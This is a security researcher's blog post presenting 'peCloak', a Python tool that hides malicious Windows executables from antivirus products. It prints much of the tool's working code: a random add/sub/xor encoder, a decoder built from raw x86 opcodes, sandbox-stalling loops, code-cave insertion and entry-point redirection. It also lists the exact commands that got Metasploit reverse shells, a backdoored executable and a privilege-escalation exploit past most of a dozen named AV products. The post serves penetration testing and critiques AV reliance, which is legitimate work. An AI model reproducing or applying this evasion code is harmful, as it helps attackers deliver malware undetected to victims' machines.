Introduction

I just wrapped up the Offensive Security Cracking The Perimeter (CTP) course and one of the topics was AV evasion. Although I write a lot of custom scripts and tools, when it comes to AV evasion, I typically rely on the tools and methods of others (Veil, powershell, python, custom shellcode). That said, the great thing about courses like CTP is they give me an excuse to investigate a topic that I haven’t had an opportunity to delve into in much detail.

The CTP course was developed several years ago and I was curious how far AV vendors have come since then; so, after completing the course module, I decided to delve a bit further and devised a little experiment to see how easy it would be to consistently bypass detection of some of the market leading AV products. I spent a weekend tapping out some code and what resulted was a simple proof-of-concept python script I dubbed “peCloak” which automates the process of hiding a malicious windows executable from AV detection (a copy of the beta version is available at the end of this post).

The Experiment

Before we get wrapped up in the terms, let me just say that I’m using the word “experiment” very loosely. There won’t be any control groups or random selection so please don’t go critiquing my application of the scientific method! 🙂

Hypothesis

My hypothesis was simple and based on common knowledge: AV detection is heavily reliant on file signatures with limited application of sandbox / heuristic-based detection.

Therefore I was confident that by modifying portions of the executable and introducing basic sandbox-defeating functionality I could render most client-side AV detection ineffective.

Requirements

I set out with the following requirements:

The modified PE file must evade AV detection from market-leading products with up-to-date definitions. The encoded malicious payload must execute without error. Failure to execute regardless of AV detection would be considered an unsuccessful bypass. The entire process (encoding, decoding, etc) must be automated. No manual manipulation of code caves or jump codes within a debugger.

The Test Environment and Selected AV Products

All testing was performed on a virtualized Windows XP SP3 machine (except for Symantec SEP testing which was conducted on a Mac Host). A Kali VM was used to verify operability of pre- and post-encoded reverse shell payloads.

I wanted to represent the “market share leaders” in the AV product market so I decided on using the opswat January 2015 report.

How accurately this truly represents market share is questionable (especially with a sample size of 4000) so I decided to test every vendor outside of the “Other” category as well as a sampling of vendors within that category. In the end, the vendors I chose were:

Avast Comodo Microsoft Spybot AVG Panda Avira Trend Micro Symantec Bitdefender McAfee Bullguard ESET Malwarebytes Kaspersky Lab

With the exception of Symantec SEP, all tested AV products were the free versions offered by the respective vendor. The specific product name appears in the results section that follows.

I wanted to test multiple “malicious” executable payloads that would be easily detected by any AV product so I chose the following four:

Two metasploit payloads (meterpreter_reverse_tcp and shell_reverse_tcp)

A local privilege escalation exploit (KiTrap0D aka”vdmallowed” – http://www.exploit-db.com/exploits/11199/)

A metasploit reverse_tcp backdoored executable (strings.exe from sysinternals)

All were verified to function prior to any modification/encoding.

The Approach

For successful AV evasion, I figured I needed a few features.

First, I had to implement some form of encoding or encryption that would defeat signature based detection. I gave myself the additional constraint that I could only use simple xor, add, or sub instructions in my encoder — not because anything else would be too complicated, but rather to show that the encoding approach did not have to be complex to defeat signature based detection.

Second, I needed to defeat any sandbox -based, heuristic run time detections that might be employed by an AV product.

Third, I wanted to minimize the static nature of the decoding/heuristic code that would be included in the modified executable to avoid having it become a signature for AV detection.

A closer look at peCloak.py

To meet all requirements I wrote a python script that I dubbed “peCloak”. While I walk through the basic approach, please keep in mind that the bulk of this was written over a weekend so there are plenty of potential improvements that could be made. I am not presenting this as an alternative to existing tools like the Veil Framework and I don’t plan on maintaining the script beyond this simple beta version. This was simply the automated approach to AV evasion I developed in the context of my little “experiment”; though I hope that some of the approaches I used might be helpful to you if you’re considering delving deeper in the world of AV evasion.

Here’s a copy of my current (beta) version of peCloak.py:

peCloak.py

peCloak.py

Version: Beta

peCloak.pyVersion: Beta

8592 Downloads

Details 48.3 KiB8592 Downloads A Multi-Pass Encoder & Basic Heuristic Sandbox Bypass AV Evasion Tool (very beta!) Languages: English Author: Mike Czumak (t_v3rn1x) License: Freeware MD5: 0e17f932fb20951cfe8678f0e7593db3 Date: March 9, 2015

Please note there are a few dependencies should you desire to try it out for yourself:

While I won’t be covering all of the code in-depth (it’s fairly well commented for a beta version), let me walk you through some of the approaches I used when developing this script.

Encoding

To avoid signature-based detections, there is an obvious requirement for some form of encoding. With my self-imposed constraints of using only basic add, sub, xor instructions, and dynamic construction of the encoding order, I came up with the following really simple encoder routine (portions of the function removed for brevity):

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 def build_encoder ( ) : encoder = [ ] encode_instructions = [ "ADD" , "SUB" , "XOR" ] # possible encode operations num_encode_instructions = randint ( 5 , 10 ) # determine the number of encode instructions # build the dynamic portion of the encoder while ( num_encode_instructions > 0 ) : modifier = randint ( 0 , 255 ) # determine the encode instruction encode_instruction = random . choice ( encode_instructions ) encoder . append ( encode_instruction + " " + str ( modifier ) ) num_encode_instructions -= 1 . . . snip . . . return encoder

It meets all of my criteria — a simple set of instructions whose number, order, and modifiers are all chosen pseudo-randomly to increase variation.

The encoding process happens at script run-time by reading in the contents of the file and encoding the designated section(s) byte by byte. By default, the script encodes the entirety of the PE section that contains the executable code (typically the .text or .code section) but that’s a configurable option. I leverage the pefile library to do the heavy lifting for mapping the contents of the file and retrieving various sections.

You can see this basic encoding process illustrated in the below excerpt of the encode_data function:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 data_to_encode = retrieve_data ( pe , section_name , "virtual" ) # grab unencoded data from section . . . snip . . . # generate encoded bytes count = 0 for byte in data_to_encode : byte = int ( byte , 16 ) if ( count >= encode_offset ) and ( count < encode_length + encode_offset ) : enc_byte = do_encode ( byte , encoder ) else : enc_byte = byte count += 1 encoded_data = encoded_data + "{:02x}" . format ( enc_byte ) # make target section writeable make_section_writeable ( pe , section_name ) # write encoded data to image print "[*] Writing encoded data to file" raw_text_start = section_header . PointerToRawData # get raw text location for writing directly to file pe . set_bytes_at_offset ( raw_text_start , binascii . unhexlify ( encoded_data ) )

Decoding

Decoding is also relatively simple in that it’s just the reverse of the encoding routine. The order of instructions is reversed (FIFO) and the instructions themselves must be inverse (add becomes sub, sub becomes add and xor remains the same). For example, here is an example encoding routine and it’s corresponding decoder.

Encoder Decoder ADD 9 SUB 3 XOR 2E ADD 12 SUB 1 XOR 3F ADD 7 SUB 7 XOR 3F ADD 1 SUB 12 XOR 2E ADD 3 SUB 9

The decode function looks something like this:

get_address: mov eax, decode_start_address ; Move address of sections's first encoded byte into EAX decode: ; assume decode of at least one byte ...dynamic decode instructions... ; decode operations + benign fill inc eax ; increment decode address cmp eax, encode_end_address ; check address with end_address jle, decode ; if in range, loop back to start of decode function ...benign filler instructions... ; additional benign instructions that alter signature of decoder 1 2 3 4 5 6 7 8 9 get_address: mov eax, decode_start_address ; Move address of sections's first encoded byte into EAX decode: ; assume decode of at least one byte ...dynamic decode instructions... ; decode operations + benign fill inc eax ; increment decode address cmp eax, encode_end_address ; check address with end_address jle, decode ; if in range, loop back to start of decode function ...benign filler instructions... ; additional benign instructions that alter signature of decoder

To build the decoder, I simply use a dictionary of assembly opcodes for the inverse instructions of the various encode operations. I then loop through the encoder that was previously created and use that to build the corresponding decoder. This is necessary since the encoder is dynamically constructed (and therefore different) each time.

Here’s a look at that function:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 def build_decoder ( pe , encoder , section , decode_start , decode_end ) : decode_instructions = { "ADD" : "\x80\x28" , # add encode w/ corresponding decoder ==> SUB BYTE PTR DS:[EAX] "SUB" : "\x80\x00" , # sub encode w/ corresponding add decoder ==> ADD BYTE PTR DS:[EAX] "XOR" : "\x80\x30" # xor encode w/ corresponding xor decoder ==> XOR BYTE PTR DS:[EAX] } decoder = "" for i in encoder : encode_instruction = i . split ( " " ) [ 0 ] # get encoder operation modifier = int ( i . split ( " " ) [ 1 ] ) # get operation modifier decode_instruction = ( decode_instructions [ encode_instruction ] + struct . pack ( "B" , modifier ) ) # get corresponding decoder instruction decoder = decode_instruction + decoder # prepend the decode instruction to execute in reverse order # add some fill instructions fill_instruction = add_fill_instructions ( 2 ) decoder = fill_instruction + decoder mov_instruct = "\xb8" + decode_start # mov eax, decode_start decoder = mov_instruct + decoder # prepend the decoder with the mov instruction decoder += "\x40" # inc eax decoder += "\x3d" + decode_end # cmp eax, decode_end back_jump_value = binascii . unhexlify ( format ( ( 1 << 16 ) - ( len ( decoder ) - len ( mov_instruct ) + 2 ) , 'x' ) [ 2 : ] ) # TODO: keep the total length < 128 for this short jump decoder += "\x7e" + back_jump_value # jle, start_of_decode decoder += "\x90\x90" # NOPS return decoder

Heuristic Bypass

The heuristic bypass routine is nothing more than a set of instructions that waste cycles in an effort to trick the AV scanner that the executable is benign. NOPS, INC/DEC, ADD/SUB, PUSH/POP are all candidates. Just as with the encoding routine, I select a pseudo random number and order of these benign instructions and pair them with an incrementing counter /compare instruction (also chosen pseudo – randomly from a given range) to create a loop of finite iterations .

The number of loops within a given heuristic routine is configurable at script run time, though keep in mind that the more iterations you implement, the longer it will take for the cloaked executable to start.

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 def generate_heuristic ( loop_limit ) : fill_limit = 3 # the maximum number of fill instructions to generate in between the heuristic instructions heuristic = "" heuristic += "\x33\xC0" # XOR EAX,EAX heuristic += add_fill_instructions ( fill_limit ) # fill heuristic += "\x40" # INC EAX heuristic += add_fill_instructions ( fill_limit ) # fill heuristic += "\x3D" + struct . pack ( "L" , loop_limit ) # CMP EAX,loop_limit short_jump = binascii . unhexlify ( format ( ( 1 << 16 ) - ( len ( heuristic ) ) , 'x' ) [ 2 : ] ) # Jump immediately after XOR EAX,EAX heuristic += "\x75" + short_jump # JNZ SHORT heuristic += add_fill_instructions ( fill_limit ) # fill heuristic += "\x90\x90\x90" # NOP return heuristic ''' This is a very basic attempt to circumvent remedial client-side sandbox heuristic scanning by stalling program execution for a short period of time (adjustable from options) ''' def build_heuristic_bypass ( heuristic_iterations ) : # we only need to clear these registers once heuristic_start = "\x90\x90\x90\x90\x90\x90" # XOR ESI,ESI heuristic_start += "\x31\xf6" # XOR ESI,ESI heuristic_start += "\x31\xff" # XOR EDI,EDI heuristic_start += add_fill_instructions ( 5 ) # compose the various heuristic bypass code segments heuristic = "" for x in range ( 0 , heuristic_iterations ) : loop_limit = randint ( 286331153 , 429496729 ) heuristic += generate_heuristic ( loop_limit ) #+ heuristic_xor_instruction print "[*] Generated Heuristic bypass of %i iterations" % heuristic_iterations heuristic = heuristic_start + heuristic return heuristic

The calls to add_fill_instructions() in both the heuristic and decoder creation functions simply pseudo-randomly select from a dictionary of the aforementioned benign instructions (inc/dec, push/pop, etc).

Carving out a code cave

Ultimately what the script does is encode the designated portions of the PE file and insert a code cave containing the heuristic bypass and corresponding decoder function. The location of this code cave is determined at script run time by first checking each PE section for a minimum number of consecutive null bytes (currently hard-coded at 1000). If found, it will make that section executable and insert the code cave at that location. Otherwise, the script will create a new section (named “.NewSection”) using the SectionDoubleP code. You can override the script’s attempt to insert the code cave in an existing section (if it appears to be corrupting the file) with the -a | –add option.

Jumping to the code cave

In order to jump to the code cave, the execution flow of the PE file has to be modified at ModuleEntryPoint. This process is two-fold:

Create the jump instruction using the address of the previously created code cave Preserve the overwritten instructions at ModuleEntryPoint so they can be replayed later

The latter function is relatively simple in that I leverage the pydasm library to read the entry instructions and obtain the corresponding asm.

1 2 3 4 5 6 7 8 9 10 11 12 13 def preserve_entry_instructions ( pe , ep , ep_ava , offset_end ) : offset = 0 original_instructions = pe . get_memory_mapped_image ( ) [ ep : ep + offset_end + 30 ] print "[*] Preserving the following entry instructions (at entry address %s):" % hex ( ep_ava ) while offset < offset_end : i = pydasm . get_instruction ( original_instructions [ offset : ] , pydasm . MODE_32 ) asm = pydasm . get_instruction_string ( i , pydasm . FORMAT_INTEL , ep_ava + offset ) print "\t[+] " + asm offset += i . length # re-get instructions with confirmed offset to avoid partial instructions original_instructions = pe . get_memory_mapped_image ( ) [ ep : ep + offset ] return original_instructions

One important aspect of this function is to ensure that it preserves the instructions in their entirety. For example, assume the original entry instructions are

1 2 6A 60 PUSH 60 68 28DF4600 PUSH pe.0046DF28

If your code cave jump overwrite is 5 bytes, you still want to ensure you’re preserving all 7 of the first two instructions or you’ll end up with corrupted code.

Restoring execution flow

At this point, the module entry contains the jump instruction to the code cave, which will start with the heuristic bypass function and then proceed to decode the encoded section(s) of the pe file. Once that’s done, execution flow has to be redirected back to its original location so the executable can function as intended. This is a two step operation:

Replay the overwritten original instructions Jump back to the module entry point (offset by the added code cave jump)

Replaying the original instructions is complicated by the fact that they may contain relative jump/call instructions. The location of these jumps/calls need to be re-calculated from the current location in the code cave.

I’ve addressed this by recalculating relative jumps based on the original destination and the current address within the code cave.

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 . . . current_address = int ( code_cave_address , 16 ) + heuristic_decoder_offset + prior_offset + added_bytes # check opcode to see if it's is a relative conditional or unconditional jump if opcode in conditional_jump_opcodes : new_jmp_loc = update_jump_location ( asm , current_address , 6 ) new_instruct_bytes = conditional_jump_opcodes [ opcode ] + struct . pack ( "l" , new_jmp_loc ) # replace short jump with long jump and update location elif opcode in unconditional_jump_opcodes : new_jmp_loc = update_jump_location ( asm , current_address , 5 ) new_instruct_bytes = unconditional_jump_opcodes [ opcode ] + struct . pack ( "l" , new_jmp_loc ) # replace short jump with long jump and update locatio else : new_instruct_bytes = instruct _ bytes . . .

The conditional_jump_opcodes and unconditional_jump_opcodes variables are just dictionaries of the respective opcodes. The referenced update_jump_location function is really simple and looks as follows:

1 2 3 4 5 6 7 8 def update_jump_location ( asm , current_address , instruction_offset ) : jmp_abs_destination = int ( asm . split ( " " ) [ 1 ] , 16 ) # get the intended destination if jmp_abs_destination < current_address : new_jmp_loc = ( current_address - jmp_abs_destination + instruction _ offset ) * - 1 # backwards jump else : new_jmp_loc = current_address - jmp_abs_destination + instruction_offset # forwards jump return new_jmp_loc

Other features

As with anything I do, there’s usually a fair amount of scope creep and so I built a few extra features into the tool to help analyze the target file. For example, during testing, sometimes I wanted to be able to view a particular section of the PE file to determine what might be triggering signature based detection so I built in a simple hex-based viewer

Writing the Modified PE File

One last note is that in order to get expected results from my modification function I had to modify the pefile library slightly. Specifically, I ran into the issue that when pefile saves a modified executable, it overlays the section structure data on top of the modified bytes. In other words, if you modify the first 50 bytes of the .rdata section of a given file, that modification will be replaced by the original section header. To prevent this behavior, I added an additional parameter (SizeofHeaders) to the pefile write() function. This allows me to preserve the pe header but replace everything after should I choose:

Similarly, strings are also overwritten so I made some additional modifications to the write() function to prevent this as well:

Depending on the level of control you require of your modification, additional changes may be necessary, though these two modifications suited by simple testing just fine.

Here’s a look at the output (run with default settings):

Running the Experiment (peCloak in action)

Now that I had the tool, it was time to see how effective it was. Using the previously identified list of AV vendors, I downloaded their respective free AV products and got to testing. Again, my goal was to evade AV detection for each of the four test executables without breaking the exploit’s functionality.

Here is a summary of the results:

As you can see, a green check mark indicates successful evasion, a red X indicates peCloak could not successfully bypass AV evasion, and N/A indicates the AV product did not even detect the original uncloaked version so additional encoding was unnecessary. It should be noted that several products did not detect any of the uncloaked malicious executables (McAfee, Spybot, and TrendMicro) despite updated virus definitions. There were no apparent configuration problems or errors indicated by the product so the reason for detection failure is unknown. Regardless, these products were disqualified from further testing as a result. That left a total of 12 AV products that were tested.

The summary is pretty telling … I was able to successfully hide all four executables from detection in 9 of the 12 products (in some cases, evasion was unnecessary for one or two of the files as the original, unencoded files were not even detected. The only products that provided at least partial protection were Avast ,Bitdefender, and BullGuard. This is largely because any bytes contained outside of the PE file sections (.text, .data, .rdata, .rsrc, etc) are not modified by my peCloak script. For example, in at least one of these AV products, the signature detection was the result of bytes contained within the PE Header, which my script does not attempt to modify.

A quick glance at the table, will demonstrate that despite a few of the products detecting some of the executables, the best method of evading AV detection is by cloaking a backdoored executable (as I did with strings.exe). In fact, as you’ll see below, one of the products actually automatically whitelisted my backdoored executable without any action on my part!

A Closer Look

In case you want to replicate these findings with peCloak, or your own tool, what follows are the exact options I used to cloak each file from the respective AV product. A couple of things to note:

First, I did not include all of the screenshot evidence of each scan result for each file as I thought it would make this post way too long, though I did provide a sampling to illustrate some of the results.

Second, most of the byte range values I used to encode the files were not optimized. For example, if encoding bytes 0 through 500 of the .rdata section resulted in successful AV detection, as long as the executable still functioned as intended, I didn’t test it further to see exactly which bytes were responsible for detection. I’ll leave that exercise up to you should you so desire.

Third, when I refer to peCloak’s “default” settings, I’m referring to a heuristic bypass level of 3 (-H 3) and encoding of only the .text section. This is what happens if you simply run peCloak.py with no additional options.

Also, as reminder, the four files that were tested for evasion were:

av_test_msfmet_rev_tcp.exe – Metasploit Meterpreter reverse_tcp executable

– Metasploit Meterpreter reverse_tcp executable av_test_msfshell_rev_tcp.exe – Metasploit reverse tcp shell executable

– Metasploit reverse tcp shell executable strings_evil.exe – strings.exe backdoored with Metasploit reverse_tcp exploit

– strings.exe backdoored with Metasploit reverse_tcp exploit vdmallowed.exe – local Windows privilege escalation exploit

The first three were constructed directly from Metasploit and the third was compiled using the source code at the link I provided at the beginning of this post. No efforts to encode these files was made prior to testing them with peCloak.

Avast Free AntiVirus (Evasion: 1/3, 1 N/A)

This product did not detect the unencoded version of vdmallowed.exe file but did detect the other three as malicious.

I successfully evaded strings_evil.exe by encoding a portion of the rdata section:

peCloak.py -e .text,.rdata:50:500 strings_evil.exe

I was not able to evade either Metasploit executable, even with all PE sections encoded (and the file rendered inoperable). Additional testing indicated detection resulted from the contents of the file header (which is outside of the scope of my simple peCloak script), so no additional evasion was attempted.

MSFT Security Essentials (Evasion: 4/4)

This product successfully detected all four uncloaked test files.

Three of the files (av_test_msfmet_rev_tcp.exe, av_test_msfshell_rev_tcp.exe, and strings.exe) successfully evaded detection with default peCloak settings (peCloak.py [executable name]).

I was able to successfully evade detection of vdmallowed.exe by encoding an additional portion of the data section: peCloak.py -e .text,.data:50:5000 vdmallowed.exe

Avira (Evasion: 4/4)

This product successfully detected all four uncloaked test files.

Three of the files (av_test_msfmet_rev_tcp.exe, av_test_msfshell_rev_tcp.exe, and strings.exe) successfully evaded detection with default peCloak settings.

I was able to successfully evade detection of vdmallowed.exe by encoding an additional portion of the data section: peCloak.py -e .text,.data:50:5000 vdmallowed.exe

AVG Free 2015 (Evasion: 4/4)

This product successfully detected all four uncloaked test files. peCloak successfully evaded detection for all four files using the default settings, though evasion was inconsistent. In other words, if an executable was cloaked twice using the exact same peCloak options, one of those cloaked executables would evade detection and the other would not. Additional testing showed that the detection did not appear to come from any of the sections of the PE file (leaving the header) though this makes it even stranger as to why detection would be inconsistent from file to file. This was the only AV product to exhibit this behavior. In addition, once a cloaked file was created that successfully evaded AV detection, testing showed that it would always evade detection, meaning the test files could in fact be reliably cloaked.

Successful evasion of one of the Metasploit payloads

Symantec SEP (Evasion: 3/3, 1 N/A)

As stated previously, testing of SEP was the only AV product tested on a Mac client (simply because I already had it installed). This product did not detect the pre-cloaked strings_evil.exe so additional evasion was not necessary. The remaining three pre-cloaked test files were detected.

I successfully evaded detection for both of the Metasploit executable files using default settings.

I successfully evaded detection of vdmallowed.exe by encoding a portion of the data section: f:\peCloak.py -e .text,.data:50:200 vdmallowed.exe

McAfee AntiVirus Plus (Disqualified)

This product did not detect any of the uncloaked malicious test executables despite having up-to-date signatures and exhibiting no errors before or after the scan. This may not be indicative of its normal behavior and as such it was disqualified from further testing.

ESET NOD32 Antivirus (Evasion: 3/3, 1 N/A)

This product did not detect the unencoded version of vdmallowed.exe file but did detect the other three as malicious.

I successfully evaded detection for strings_evil.exe using default settings. I successfully evaded detection for both av_test_msfmet_rev_tcp.exe and av_test_msfshell_rev_tcp.exe by encoding a portion of the .rdata section on each:

peCloak.py -e .text,.data:17000:1500,.rdata:50:500 av_test_msfmet_rev_tcp.exe

peCloak.py -e .text,.data:16000:50,.rdata:50:500 av_test_msfshell_rev_tcp.exe

Successful evasion of one of the Metasploit payloads

Kaspersky Anti-Virus 2015 (Evasion: 4/4)

This product successfully detected all four uncloaked test files.

I successfully evaded detection for strings_evil.exe and vdmallowed.exe using default settings.

I successfully evaded detection for both of the Metasploit executable files by encoding a portion of the .data section on each:

peCloak.py -e .text,.data:500:10000 av_test_msfmet_rev_tcp.exe

peCloak.py -e .text,.data:500:10000 av_test_msfshell_rev_tcp.exe

Comodo Free Antivirus (Evasion: 3/3, 1 N/A)

This product did not detect the unencoded version of vdmallowed.exe file but did detect the other three as malicious.

All three of the remaining files were successfully cloaked using the default peCloak settings.

Successful evasion of one of the Metasploit payloads

Spybot 2.4 Free Edition (Disqualified)

Similar to McAfee, this product did not detect any of the uncloaked malicious test executables despite having up-to-date signatures and exhibiting no errors before or after the scan. Even worse, it actually automatically whitelisted strings_evil.exe! This product was disqualified from further testing.

Bitdefender Antivirus Free Edition (Evasion: 2/4)

This product successfully detected all four uncloaked test files.

Two of the files (vdmallowed.exe and strings.exe) successfully evaded detection with default peCloak settings.

I was not able to evade either Metasploit executable, even with all PE sections encoded (and the file rendered inoperable) indicating signature detection was likely resulting from the contents of the file header, so no additional evasion was attempted.

BullGuard Antivirus (Evasion: 2/4)

This product successfully detected all four uncloaked test files.

Two of the files (vdmallowed.exe and strings.exe) successfully evaded detection with default peCloak settings.

I was not able to evade either Metasploit executable, even with all PE sections encoded (and the file rendered inoperable) indicating signature detection was likely resulting from the contents of the file header, so no additional evasion was attempted.

Malwarebytes Anti-Malware Free (Evasion: 2/2, 2 N/A)

This product did not detect the unencoded versions of the vdmallowed.exe or strings_evil.exe files but did detect both Metasploit stand-alone executables which were successfully cloaked by encoding a portion of the .data section.

peCloak.py -e .text,.data:50:500 av_test_msfmet_rev_tcp.exe

peCloak.py -e .text,.data:50:500 av_test_msfshell_rev_tcp.exe

Panda Antivirus Pro (Evasion: 3/3, 1 N/A)

This product did not detect the unencoded version of strings_evil.exe file but did detect the other three as malicious. I successfully evaded detection for vdmallowed.exe using default settings. Both Metasploit stand-alone executables were successfully cloaked by encoding a portion of the .data section.

peCloak.py -e .text,.data:50:500 av_test_msfmet_rev_tcp.exe

peCloak.py -e .text,.data:50:500 av_test_msfshell_rev_tcp.exe

Trend Micro Antivirus + Security (Disqualified)

This product did not detect any of the uncloaked malicious test executables despite having up-to-date signatures and exhibiting no errors before or after the scan. This may not be indicative of its normal behavior and as such it was disqualified from further testing.

Conclusion

What does this all mean? Well probably nothing you didn’t already know — AV detection is flawed. At the same time, so many organizations seem to put a lot of stock in the use of AV and while I wouldn’t advocate throwing it away entirely, it certainly shouldn’t be thought of as an absolute control.

Also, as we continue to hear about all of these “advanced” attacks that used “sophisticated” malware that went undetected, you have to wonder how advanced were they really? … especially if one can easily hide a known malicious binary so easily?

At the very least, I think I supported my hypothesis and this little experiment has demonstrated that if you’re faced with needing to bypass AV detection for a penetration test, developing your own method may not be that difficult after all.

Until next time,

Mike

Follow @securitysift